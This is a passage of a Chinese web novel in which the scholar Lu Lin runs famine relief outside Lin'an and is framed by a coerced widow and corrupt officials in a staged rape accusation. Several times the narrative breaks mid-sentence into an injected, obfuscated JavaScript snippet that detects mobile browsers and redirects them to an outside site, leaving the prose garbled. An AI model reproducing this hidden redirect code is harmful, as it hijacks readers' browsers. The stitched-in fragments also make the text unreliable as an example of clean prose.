说完,又将目光转向张胜。 “明早卯时,你陪我去一趟城外灾民营。 卢璘对陆恒和黄观两人的性子是了解的,沉得住气,不用卢璘担心。 唯独张胜这个性子,急如烈火,必须得时刻带在自己身边,好生看着才行。 否则,天知道他会捅出什么篓子。 张胜一听要跟着卢璘出城,刚才还满脸憋屈瞬间一扫而空,脸上满是期待。 “也该轮到我跟着琢之了吧! 说着,他还不忘斜了陆恒一眼,话里有话地开口: “我可不像某些人,跟着琢之没学到别的,故作高深的毛病倒是学了个十成十。 说这话的时候,毫不掩饰地看着陆恒,那副模样,就差把“说的就是你写在脸上了。 陆恒闻言失笑,摇了摇头,也不生气。 他上前一步,拍了拍张胜的肩膀,打断了张胜的洋洋得意。 “你当琢之喊上你是看得上你呢? “还不是怕你这炮仗脾气,一冲动坏了大事,要把你拴在身边看着。 张胜脸上喜色瞬间僵住。 下意识地望向卢璘,却看到卢璘含笑点了点头,算是默认了陆恒的说法。 一瞬间,张胜差点一口气没上来,满脸憋屈无语。 笑容不会消失,只是从张胜脸上转移到了卢璘三人脸上。 屋内一时间,又充满了欢声笑语。 第177章 秦氏 卯时未至,天色依旧昏沉。 只睡了不到两个时辰的卢璘,眼中却看不到半分疲态。 【修身】特效加持下,卢璘的身体素质远超同境秀才。 去屋里换了身干净儒衫,又用冷水抹了把脸后,整个人愈加精神抖擞。 反观趴在桌案上流着哈喇子的张胜,被卢璘推醒时,还是一副睡眼惺忪的模样。 “天亮了?” 张胜迷迷糊糊地揉着眼睛,打了个哈欠:“怎么这么快……琢之,你都不用歇息的吗?这么有精神。” 卢璘笑了笑,将一杯凉茶递到他面前:“你先去清醒清醒,我去检查一下今天要带去城外的物资。” 一刻钟后,半亩园后院的仓库。 负责管理物资的生员王德,见卢璘亲自过来,连忙上前问好。 “社首。” 卢璘笑着摆了摆手,径直走向堆放粮食的区域,开口问道:“社里的粮食,只剩这下了吗?” 王德点了点头,回应道:“这还已经是这些天刻意缩小了施粥规模的情况,咱们的粮食只进不出,又没地方买。” “按现在施粥规模,库里的粮食,最多.最多还能支撑不到五天。” 卢璘听完默默点头,脸上没什么表情变化。 “药品呢?” 提到药品,王德的脸色才好看了些:“药品倒是够用。按社首的吩咐,提前备下了大量的艾草、藿香,还有防治风寒的汤药料包,都分装好了。” 大灾之后,必有大疫。 这几乎是刻在历史里的铁律。 好在大夏朝对药材行业管控极严,各地都有官办药行,从种植到贩卖,层层把关,严禁私人囤积。 这也从根源上,断了四大米行在这上面做文章的念头。 卢璘仔细检查了一遍准备好的药材,确认无误后,清醒后的张胜也走了过来。 都不用卢璘开口,张胜便主动上前,将一袋袋粮食和一捆捆药材,吭哧吭哧地往马车上搬。 不多时,马车驶出临安府城门。 城内城外,完全是两个世界。 卢璘脸色沉重地坐在马车上,放眼望去,官道两侧,全是密密麻麻的简陋窝棚。 大多数是用破布、烂席、 茅草胡乱搭建起来的容身之所,稍微大一点的风雨都不一定能挡得住。 空气中更是透着一股霉腐、酸臭与草药混合在一起的古怪味道,挥之不去。 一张张面黄肌瘦的脸上,写满了麻木绝望。 偶尔能听到几声孩童压抑的哭泣。 坐在一旁的张胜,看到这副人间炼狱般的景象,脸上的表情也变得沉重起来。 两人没有多做停留,径直驾着马车,来到自强社设在灾民营的帐篷外。 这里是整个灾民营里,为数不多还能看到生气的地方。 卢璘到的时候,十几名自强社的生员正在忙碌着。 有的在支起大锅,熬煮着稀可见底的米粥。 有的在给排队的灾民分发汤药。 还有的则在细心为一些病倒的灾民,处理着身上的伤口。 黄观将自强社生员们都编了号,轮流来灾民营当值。 这是践行卢璘定下的社规。 读万卷书,不如行**路。 圣人教诲,不能只停留在纸上,更要躬行实践,方能知行合一。 生员们看到卢璘从马车上下来,脸上都露出了惊喜。 “社首!” “社首您怎么亲自来了!” 卢璘跳下马车,笑着对众人一一点头回应:“辛苦诸位同窗了。” 一名生员叹了口气,苦笑道:“我们这点辛苦算得了什么。” “只是看着这么多灾民,我们能做的,实在太有限了。” 是啊,他们这点微末之力,对于城外数十万灾民而言,不过是杯水车薪。 卢璘看着眼前自强社生员们一张张年轻真诚的面孔,能明显地感受着他们发自内心的善意。 回头对正在卸货的张胜轻声说了一句: “看到没有。” “星星之火,可以燎原。” “李枫那样的,终究只是少数。大家才是自强社真正的根基。” 张胜闻言咧嘴一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453227|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,重重地点了点头,将最后一袋粮食扛下车。 不多时,负责城外救灾事宜的生员刘复忙完了手头的事,快步走到卢璘面前汇报这些天的大概情况。 “社首,最近几日,营里的情况还算稳定,没有爆发大规模的 疫病。只是.饿死、病死的人,还是天天都有。” “我们人手有限,只能优先救治那些还有希望的妇孺老弱。” “其中,有几个情况特别惨的.” 刘复一边说,一边将一本记录着灾民信息的册子递给卢璘。 “东头第三个棚子里,住着一位秦氏,也是个苦命人。丈夫去年被征兵去了北疆战场,据说是**,尸骨无存。家里没了顶梁柱,公公也病故了,就留下她一个人,拖着年迈的婆婆,还带着个嗷嗷待哺的奶娃娃,才几个月大.” 卢璘翻动册子的手,停了下来。 抬头一看,帐篷的帘子被人轻轻掀开,一个单薄的身影走了进来。 是个身形瘦弱的女子,身上穿着打满补丁的粗布衣衫,洗得发白,却很干净。 或许是营养不良的缘故,人瘦得厉害,反而让五官显得格外清秀分明,只是脸色蜡黄,没什么血色。 走动的时候,破烂袖口下,露出的手腕皓白如雪。 刘复见到来人,低声对对卢璘介绍道:“社首,她便是秦氏。” 卢璘默默点头。 秦氏一走进帐篷,便一刻也不停歇,很是勤快。 先是拿起扫帚,将地上的尘土仔细扫了一遍,又走到正在熬粥的锅边,主动帮着添柴看火。 做完这些,她又走到角落,那里堆放着一些生员们换下来的衣物。 “各位恩公,换洗的衣裳都放这儿吧,我一并拿去河边洗了。” 生员们早已习惯秦氏的麻利,纷纷回复: “有劳秦家嫂子了。” “我的在这儿!” 又有几名生员将自己的脏衣服递过去,秦氏一一接过,很快,她怀里就抱了小山高的一大堆。 衣物沉重,压得她走路都有些踉跄,可她脸上满是倔强,抱得更紧了些。 第178章 就硬夸是吧? 看着秦氏忙前忙后的样子,刘复对卢璘开口解释说:“这秦氏,性子犟得很,认死理,说是不肯白吃咱们的米粥,非要干点活才心安。” “这段时日,她天天都来,帮着浆洗衣物,打扫看火,什么活都抢着干。” 刘复说完,又忍不住叹了口气。 “也是个可怜人,本该是过好日子的年纪.这世道,真是害人。” 卢璘点头,但没有多说。 这时,秦氏抱着那堆衣服,走到了刘复面前,仰起头问道:“刘恩公,您的衣裳呢?” 刘复摇了摇头笑道:“我今日当值结束,就直接回家了,就不劳烦秦家娘子了。” 秦氏也没多问,默默点头,臻首微侧,望向了一旁始终没有开口的卢璘。 刘复见状,赶忙主动介绍。 “秦家嫂子,这位便是我们自强社的社首,卢璘,卢琢之。” “你家娃娃生病缺的药,今日也是琢之亲自带来的。” 秦氏一听到卢璘二字,瘦弱的身子明显颤了一下。 怀里抱着的衣物哗啦一声散落在地,人却直直地跪了下去,对着卢璘便是一个响头。 “民女秦氏,谢过卢恩公活命之恩!” 卢璘眉头微动,快步上前虚扶。 “秦家嫂子快快请起,使不得。” “我与诸位同窗一样,不过是尽些绵薄之力,当不得恩公二字。” 秦氏却不肯起,抬起头,一双清澈的眸子里噙着泪,蜡黄的脸上,还挂着泪痕,竟显出几分动人的神采。 “要谢的,一定要谢的。民女早就听其他恩公提过您的名字,若不是您创建了自强社,我们一家三口,怕是早就饿死病**。” 卢璘见秦氏这般倔强,也没有再多言。 一旁的刘复笑着打圆场:“好了好了,快起来吧。你家娃娃和你婆婆呢,今日怎么没一道过来?锅里还给你们多留了一份粥呢。” 平日里秦氏过来帮忙,总是会将孩子和婆婆带在身边,方便照应。 今天怎么没跟着过来? 秦氏闻言这才站起身,一边收拾散落的衣物,一边回答:“孩子让他奶奶看着,我就过来了。” 刘复也没多想,点头叮嘱道:“那成,等下记得 把药带回去孩子的病可耽搁不得。” 秦氏重重点头重新抱起那堆衣物冲着众人又行了一礼才转身离去。 看着秦氏离去的背影刘复脸上的感慨更深了。 “社首以往在史书上读到‘大旱人相食’往往就是寥寥几个字从未有什么真切感触。如今亲眼所见才知是何等的人间惨状。” “像秦氏这样的可怜人城外还有太多了。我们能做的终究有限。” 卢璘脸色也略显沉重 按社里定下的章程自强社所有生员都必须轮流来城外灾民营当值每人两天。 黄观一开始没把卢璘算在内。 毕竟这段时日卢璘要操心的事太多。 可提议还是被卢璘否了卢璘主动要求把自己名字加进去。 一方面是社首更要以身作则另一方面卢璘也要亲眼来看看灾民的情况做到心里有数。 黄观拗不过他也只能答应。 此时的帐篷内十几名生员正忙得脚不沾地。 卢璘简单了解完赈灾的大致情况将手里的册子放下。 脱去外面那件干净的儒衫仔细叠好放在一旁的桌案上。 然后走到一口大锅前挽起了袖子。 一名正在施粥的生员见状连忙开口:“社首这点粗活我们来就行了。” 卢璘笑了笑从他手中接过了长柄木勺。 “去歇会儿吧我来。” 说着卢璘手臂发力搅动了一下锅里的米粥然后稳稳当当地舀起一勺不多不少正好一碗。 动作熟练没有半分生疏。 早就排好队伍的灾民中走出一个衣衫褴褛面黄肌瘦男子伸出黑漆漆的陶碗递到锅前。 卢璘将粥倒进他的碗里温声开口道: “大家再坚持坚持朝廷的平价粮马上就要到了。” 这男子接过粥眼睛里却没有半点波动机械地点了点头低声道了句谢便转身没入了人群。 队伍缓缓向前下一个灾民递上了碗。 卢璘手上的动作没停又是满满一碗粥递了过去口中重复着刚才的话。 得到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453228|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依旧是同样麻木的回应。 不远处的刘复见状,走到卢璘身边叹了口气,开口道: “社首,您别费心了。” “这话,他们听得太多了,早就没人信了。” “官府的人来说过,善堂的员外也来说过。可粮食呢?一次又一次的失望,早就把他们心里的那点念想给磨没了。” 卢璘默然。 人心里的那点火要是灭了,就算身子还活着,又能撑多久? 他不再多言,沉默地重复着手上的动作。 舀粥,盛粥,递碗。 动作流畅,一气呵成。 旁边的张胜看了一会儿,忍不住凑了过来,脸上带着几分好奇: “琢之,你这盛粥的架势,可比我们熟练多了。” “瞧这手腕,稳得很,一滴都不洒出来。在哪儿练的?” 卢璘闻言,手上的动作顿了一下。 眼前似乎又浮现出文庙街卢记下水铺子的模样。 老爹永远憨笑地站在案板前手起刀落。 母亲李氏系着围裙,在灶台和桌椅间打转。 想到这些,温和的笑意不自觉地浮现在卢璘脸上。 “家里开了间下水铺子,读书之余,倒是经常过去帮忙,一来二去,就锻炼出来了。” 一旁的刘复闻言连连点头,表情肃然: “难怪,琢之如此熟练,原来是家学渊源。” 卢璘笑着回了一句:“这算什么家学啊?你们就硬夸是吧?” 刘复闻言也笑了起来:“倒也不是硬夸。” “只是我等大多数都是脱产读书,每日苦读不辍,尚且觉得学问艰深,可论起学问,却不及琢之十分之一。” “若是琢之没有像我等一般,将所有时间都用来读书,不敢想象会是何等光景啊!” 帐篷里其他几名生员听了,也纷纷附和。 “是啊,今年秋闱,咱们江南道,可就全靠琢之和景明几人了!一定要打出我们自强社的名气啊!” “是啊!社首定能高中!” 卢璘笑了笑,手上的动作却没有停。 又是满满一碗粥,递到了下一个排队的灾民碗里。 第179章 以死明志! 天色渐晚,日头沉入西山。 到了这个点,自强社帐篷外的队伍也没了几个灾民。 卢璘拿起木勺,在大锅里舀起最后一勺,只带起些许稀薄的米汤,连几粒完整的米都看不见。 排在最前头的一名老头伸出破了口的陶碗,见倒入自己碗中只剩点米汤了,眼角有些湿润。 卢璘见状,默默地叹了口气,双臂抬起大锅,把锅里所有的米都倒进了老头的碗里,对方才离去。 卢璘放下锅,转头对还在排队的灾民开口道: “今日的粥已经施完了,明日请早吧。” 说完,卢璘喊来一位社员,让他帮忙收拾,顺便活动了一下酸胀的肩膀。 饶是有【修身】特效的加持,从早忙到晚,卢璘也有些吃不消了。 一旁的张胜更是累得够呛,他今天负责分发药品,给病患处理伤口,整个人几乎没停过,此刻正靠着一根木柱,一个劲地捶打着自己的后腰。 刘复这时也收拾好记录灾民信息的册子,走到卢璘近前: “琢之,天色不早了,再晚城门该下钥了。” 卢璘点头,冲着休息的张胜喊了一声:“收拾一下东西,咱们准备回城。” 就在这时,秦氏抱着一堆晒得干透的衣物走了回来。 “各位恩公,昨日的衣裳都晒好了,你们都记得来取。” 她将怀里干净的衣物放在一张干净的草席上,又指了指角落里刚换下的一堆。 “哪位恩公有空,帮我把今日这些也一并晾起来吧?” 帐篷里的生员们这会儿大多都闲了下来,一听这话,纷纷起身。 “我来!” “秦家嫂子歇着吧,我们自己来!” 几个年轻的生员七手八脚地跑出去帮忙晾晒衣物。 刘复想起了还要给秦氏孩子带的药,对秦氏开口道:“秦家嫂子,你在这等会,我去给你拿药。” 说着,刘复朝隔壁存放药品的帐篷走去。 转眼间,帐篷内便只剩下了卢璘和秦氏二人。 秦氏看着刘复离去的背影,回过头,抱起那堆晒好的干净衣服,轻声问卢璘:“卢恩公,这些衣裳,放在何处?” 卢璘指了指角落里一个简易的木架 。 “放那儿就行。 说着,卢璘走上前,准备搭把手。 秦氏也抱着衣服走来,就在与卢璘擦身而过的瞬间,脚下不知被什么绊了一下,整个人发出一声惊呼,直直地向前扑倒。 一摞衣物哗啦啦散落一地。 卢璘下意识伸手去扶。 可手还没碰到秦氏的身体。 就听“刺啦一声,秦氏身上那件本就单薄的衣衫,竟从领口处猛地撕裂,露出大片雪白的肌肤。 紧接着,秦氏那看似无力的手,在跌倒的瞬间,不着痕迹地扯开了腰带。 下一刻,半截藕臂已经死死环住了卢璘的脖颈! 这一切发生得太快,快到卢璘根本来不及做出任何反应。 下一刻,秦氏凄厉尖叫声传来。 “卢恩公……不要! 喊完,指甲狠狠在自己光洁锁骨上划过,三道刺目血痕瞬间浮现。 “求您放过奴家!奴家身子脏,配不上恩公您的身份. 话音未落,帐篷的帘子被人从外面一把撞开! 一群人气势汹汹地闯了进来。 为首的几人是官差,腰悬佩刀,满脸煞气。 在他们中间,簇拥着一个须发皆白的老者。 老者一进帐篷,看到秦氏衣衫不整,身上露出大片大片雪白的样子,气得浑身发抖。 指着卢璘,怒骂道:“好一个江南道案首!光天化日,朗朗乾坤!竟是这等人面兽心的畜生! “强辱无辜寡妇!国法何在!天理何在!圣贤书都读到狗肚子里去了吗! 这时,听到动静的张胜、刘复,还有其他自强社的生员也全都冲了进来。 一进门,就听到老者指着卢璘的鼻子喝骂。 “无耻之徒!枉读圣贤书!简直是我辈读书人之耻。 后进来的刘复看到那老者,整个人都怔住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453229|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 高秀才怎么会在城外? 高秀才,原名高秉文,是临安府城内出了名的老秀才。 虽年过六十,屡试不第,却因品行高洁,被官府数次表彰。 在临安士林中颇有清誉,只是思想过于迂腐,容不得半点沙子。 刘复怀着疑惑,又看向了倒在地 上 此刻的秦氏正掩面哭泣脸上满是悲痛欲绝。 “辱我清白!我还有何面目活在这世上!不如一**之!” 说完猛地抬头朝着旁边的桌角就撞了过去! 眼看就要撞上桌角旁边一个官差眼疾手快一把将她拦腰抱住。 秦氏没死成瘫在地上哭得愈加撕心裂肺了。 这时一名官差从队伍中走出对着地上的秦氏开口说道: “秦娘子!你这是做甚!” “临安府治下自有朝廷王法为你做主!“ 说完冷眼瞥了一眼穿着生员服的卢璘厉声道: “我等奉命巡察城外灾情没想到居然看到这等伤天害理的事。” “读书人又如何读书人犯了法一样下大牢!” 张胜看着眼前这混乱的一幕有些懵了开口问道:“发生什么事了?怎么一会儿工夫就要死要活的?” 为首的官差冷哼一声一双眼睛斜睨着张胜。 “瞎了你的狗眼吗?没看到?” “这就是你们这些所谓的读书人!表面上仁义道德背地里却尽干些作奸犯科的龌龊事!” “读书人光天化日**寡妇” 张胜一听这话火气当场就炸了指着官差的鼻子反驳:“你放屁!琢之怎么可能做出这种事!” “对!社首不是这种人!” “其中必有误会!” 其他生员也纷纷附和群情激奋。 “误会?” 那名官差嗤笑一声脸上满是嘲弄:“人证物证俱在岂容你等狡辩?” “这秦氏都要以死明志了你们都瞎了吗?” “方才发生的一切我等亲眼所见还能有假?” 第180章 先脱了那层皮 张胜气的脸都涨成了猪肝色,琢之怎么可能做出这种事? 上前一步就要理论,却被身旁的刘复一把拉住。 刘复的脸色同样难看,但他比张胜要冷静得多。 他死死地盯着地上哭泣的秦氏,又看了一眼那几个满脸正气的官差和义愤填膺的高秀才。 脑子里嗡的一声,瞬间想通了所有关窍。 怪不得。 怪不得今天秦氏没带孩子和婆婆过来。 怪不得这几个巡检司的官差,巡察灾情早不来晚不来,偏偏这个时候出现。 更怪不得,这个高秉文,会恰好跟巡检司一起! 从头到尾就是个局! 一个专门为琢之设下的,必死之局! 想通了这些,刘复只觉得一股寒气从脚底板直冲天灵盖。 四大米行终究还是坐不住了,选择对琢之出手了。 刘复能想明白的,卢璘自然看得更清楚。 从官差以及高禀文出现的那一刻,卢璘就彻底明白了对方的意图。 周炳这一手,确实够毒。 **,从来不是最好的手段。 尤其是对他这种有功名在身,背后还有个前礼部尚书恩师的人来说,直接弄死,手尾太长,后患无穷。 可若是毁了名声呢? 一个强辱寡妇、德行败坏的江南案首,还是案首吗? 自己所建立的自强社,拥有的号召力,都将瞬间崩塌,化为乌有。 **诛心。 这才是周炳真正的目的。 为首的官差见卢璘不言不语,只当他是心虚理亏,气焰更加嚣张。 他上前一步,指着卢璘,对着周围越聚越多的灾民和生员高声宣布: “大家也都看到了!这位就是你们敬仰的江南案首,卢璘卢琢之!” “光天化日之下,强辱寡妇!此等行径,与禽兽何异!” “今日有高秀才在此作证,我等又亲眼所见,人证物证俱在!他便是说破了天,也休想抵赖!” 高秀才痛心疾首的附和:“斯文扫地!简直是斯文扫地!此等败类若不严惩,我江南士林颜面何存!” 两人的话,一唱一和,瞬间将**推向了顶点。 周围 的灾民们看着卢璘的表情也从最初的震惊渐渐变成了鄙夷和愤怒。 “没想到啊看上去文字彬彬居然是这等衣冠禽兽.” “我就说呢他们对这小寡妇太好了原来在这里等着呢.” “天底下哪有白吃的饭啊!” 围观的灾民议论说此起彼伏。 “住口!”刘复一声暴喝打断了议论说。 他几步冲到秦氏面前双眼赤红指着她厉声质问:“秦氏!我且问你!你为何要陷害社首!” “我自强社上下哪个人没有帮过你?你的孩子病重没钱买药是谁给你送去的汤药?你家里断了粮是谁给你送去的米面?” “我们把你当亲人看待你就是这么回报我们的?你的良心被狗吃了吗!” 帐篷里其他自强社的生员此刻也都反应了过来纷纷对着秦氏怒目而视。 一直沉默着的卢璘这会也缓缓抬起头目光落在地上瑟瑟发抖的秦氏身上语气平静地开口: “周炳是用你的孩子和婆婆 此言一出秦氏哭泣的身子猛地一僵。 她缓缓抬起头对上卢璘那双眼睛嘴唇颤抖着一个字也说不出来。 下一刻秦氏猛地对着卢璘磕起了头一边磕一边哭喊。 “不!不是的!没有人威胁民女!” “是民女的错!是民女见卢恩公年轻有为一表人才一时鬼迷心窍想要攀附!这才这才自导自演了这么一出!” 她一边说一边拼命地拉扯自己本就破碎的衣衫试图遮住裸露的肌肤脸上满是悔恨哀求。 这番突如其来的反转让帐篷内的所有人都愣住了。 张胜和刘复等人面面相觑搞不清楚这又是哪一出。 可为首的官差反应极快脸上怒意更甚指着卢璘的鼻子破口大骂: “好一个狂徒!竟敢当着我等的面威胁苦主改口!” “你以为这样就能脱罪吗?简直是痴心妄想!” 一旁的高秀才也立刻回过神来满脸痛心疾首上前一步用自己的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453230|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体挡在秦氏面前义正辞严地安抚道。 “秦娘子莫怕!有老夫在此有朝廷王法在此你尽管大胆说出 实情!” “我们定会为你撑腰,绝不会让这等衣冠禽兽逍遥法外!” 两人一唱一和,瞬间就将秦氏的改口,定性为被卢璘威胁后的无奈之举。 如此一来,卢璘的罪名,便又多了一条。 不仅是强辱民女,更是仗势欺人,威胁苦主。 罪加一等! 官差见火候差不多了,脸上露出一抹冷笑,直接开始宣判结果。 “卢璘!你身为生员,本该是读书人的表率,却在此地行此龌龊之事,有辱斯文,罪无可赦!” “依《大夏律》,生员犯罪,须先由学政大人革除其功名,方可交由我等衙门定罪!” 官差的目光扫过卢璘,又转向一旁满脸正气的高秀才。 “高秉文,你亦是临安府生员,今日更是亲眼目睹其恶行。按《大夏律·诉讼例》,你需随本衙一同前往提学衙门,将今日之事,据实上禀提学大人!” 高秀才闻言,对着官差长长一揖: “学生谨遵差命!定会将此等败类之行,一字不差地禀告提学大人,以正我江南士林之风气!” 官差满意地点了点头,最后冷冷地看向卢璘。 “卢璘,按律,生员涉罪,在学政大人裁断之前,不得擅自离开原籍。若有逃逸,功名自动革除,并按‘逃官例’从重论处,罪加一等!” “你,可听明白了?” 这是要把卢璘彻底钉死在临安府,让他插翅难飞,等着身败名裂。 帐篷内,一片死寂。 所有自强社的生员都攥紧了手,脸上满是**愤怒。 张胜更是气得浑身发抖,牙齿咬得咯咯作响,几乎就要忍不住冲上去。 一直沉默的卢璘,闻言抬起头,脸色淡然。 “不劳差爷提醒,学生自会在此静候学政大人的裁断。” 官差深深地看了卢璘一眼,冷哼一声,大手一挥。 “收队!” “把人带走!” 第181章 外语好啊,得学啊! 两名官差立刻上前,一左一右架起瘫软在地的秦氏,就要往外拖。 秦氏浑身一颤,猛地回头,绝望地看了一眼卢璘,嘴唇翕动,一个字也说不出来,泪水无声滑落。 高秀才整理了一下自己的衣冠,最后用一种痛心疾首的表情瞥了卢璘一眼,然后昂首挺胸,跟着官差一同离去。 很快,帐篷外嘈杂的人群也渐渐散去。 只留下一地狼藉,和一群呆立在原地的自强社生员们。 “砰!” 张胜再也抑制不住,一拳狠狠砸在旁边的木柱上,整根柱子都晃了三晃。 “欺人太甚!欺人太甚!” 张胜双眼赤红,胸口剧烈起伏,指着门口的方向破口大骂:“这群**的畜生!从头到脚就是个局!就是冲着琢之来的!” 刘复的脸色也难看到了极点,快步走到卢璘身边: “琢之,都怪我!是我识人不明,引狼**!那秦氏……” “跟你们没关系。” 卢璘开口打断了他,声音依旧平静。 “这个局早就等着我呢,就算没有秦氏,也会有王氏,李氏。” “他们要的,从来不是真相,只是一个让我身败名裂的由头。” 卢璘的话,让帐篷内的气氛愈加沉重。 一名年轻的生员忍不住开口,声音带着哭腔:“那那现在怎么办?学政那边” 都不用等他说完,生员们心都沉了下去。 刘复的脸色愈发难看,开口补充道:“诸位,事情可能比我们想的还要糟。” “临安府的学政魏长青魏大人,因为边关军务筹粮一事,已经离开临安府一旬有余了。” “如今,代管学政衙门所有事务的,是副学政,陈泉。” 张胜愣了愣,脱口而出:“副学政?那不也是官?难道还能不讲理?” 刘复苦涩地摇了摇头,脸色更糟糕了。 “这个陈大人坊间传闻与知府李大人,走得很近。” 一句话,让帐篷内最后一丝侥幸也彻底破灭。 知府李大人是谁? 是周炳的姐夫! 这还查什么? 还审什么? 这分明就是一张早就织好的网,从官府到士 林,每一个环节都已打点妥当,就等着琢之自己往里钻。 完了。 这一次,是真的完了。 帐篷内,死一般的寂静。 每个人的脸上,都写满了无力悲观。 …… 与此同时,临安府城南,一处占地广阔的庄园内。 亭台楼阁,水榭歌台,极尽奢华。 一间雅致的暖房内,地龙烧得正旺,温暖如春。 七八名身段妖娆、衣着清凉的美貌婢女,跪在地上,或轻柔捶腿。 周炳靠在软榻上,享受着美艳婢女服务的同时,笑着开口说道: “陈大人,我这处园子,还算清净典雅吧? “平日里处理完公务,来此地歇歇脚,听听曲儿,看看舞,也算是人生一大乐事。以后大人您得常来啊! 坐在周炳对面,一个五十来岁,头发稀疏,挺着个肚腩的老头,正眯着眼睛,享受着两名婢女的服侍,听到周炳的话,没有什么反应。 此人正是临安府副学政,陈泉。 周炳见状,心里冷笑一声。 狗东西,胃口是越来越大了。 求你办点这种小事,还给我拿腔作调。 但到底是有求于人,尽管心里不爽,周炳脸上的笑意更浓,挪了挪屁股,又凑近了些,压低声音: “过些天,我这庄子里还要来一批新货。 “一批从西域那边过来的胡姬,个个金发碧眼,身段婀娜,还有一手吹箫的绝技。 “我这一介粗人,对这等风月雅事,实在是一窍不通啊。 “到时候,还得请陈大人您来好生品鉴品鉴,莫要埋没了人才啊。 听到吹箫绝技四字,原本眯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453231|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的陈泉,这才缓缓睁开了眼。 先是笑眯眯地在跪在地上的美艳婢女脸上抹了一把,把手伸到鼻腔处使劲闻了闻。 而后,脸上露出一抹悲天悯人的神情,摇头晃脑地叹了口气。 “哎,既有此等绝技,确实不能埋没。 “而且本官这段时间,一直在苦心钻研西域语言,这不是巧了吗? “再者说,这些胡姬远在异国他乡,孤苦伶仃,无依无靠,哎,老夫最是看不得这等情况。 “若是真有一技之长,为她们寻个好去处,也是我辈分内之事嘛。 周炳在心里狠狠啐了一口,表面上,周炳却笑得愈发恭敬:“大人高义! “其实今日请大人过来,除了让大人散散心,也是想求颗定心丸。 “那卢璘之事,说不定,根本用不着劳烦大人您出手。 “年轻人,火气旺,万一他今晚沉不住气,当场反抗,巡检司的人就能直接将他拿下。 “到时候,即便卢璘有功名在身,也是死罪。 “也就不必再走学政衙门的流程了。 陈泉闻言,一脸担忧地皱起了眉: “话虽如此,可老夫听说,魏大人对此子可是颇为赞赏,不止一次在公开场合夸赞他有经世之才。 “哎,我身为魏大人的副手,若是公然和他唱反调,怕是不妥啊. 周炳闻言,摇了摇头,开口打断: “陈大人! 周炳故作惊讶地提高了声调,“莫非还不知道前些日朝堂上的事? “这些日子,朝堂上早就已经开始议论,魏大人调离临安府后的新去处了。 “有宴首辅力荐,圣上有意让他去户部历练历练。 “您说,这临安府学政空下来的位置 “陈大人您为官多年,劳苦功高,难道就不想再更进一步? 看到陈泉的眼神越来越亮,周炳又添了一把火: “这事,我姐夫那边肯定是全力支持陈大人的。 第182章 死局? 周炳从庄园离开后,夜风一吹,身上那股子燥热退去了几分。 上了马车后,径直来到城南的医馆。 后院里,药味依旧没有散去。 苏十三娘、齐老拐早就在此等候,见周炳推门而入,苏十三娘眨着勾人的眸子立刻迎了上来。 “如何?陈大人那边,可还顺利?” 周炳不屑地啐了一口: “哼,一个贪得无厌的老东西,还能不顺利?” 苏十三娘、齐老拐以及床榻上的常万金闻言,这才松了口气。 周炳笑了笑,慢悠悠地开口: “我许了他几个从西域新到的胡姬,那老家伙的眼珠子都快掉出来了,当场就拍着胸脯跟我保证,明日一早,就亲自去提学衙门,办了此事。” 至于自己还许诺了帮他运作学政的位子,这种事,就没必要说出来了。 人脉是自己的,凭什么要跟这群人共享? 苏十三娘听完,发出一阵娇笑,声音里满是轻蔑。 “我早就听说,这位陈大人无女不欢,是个离了女人就活不了的主。” 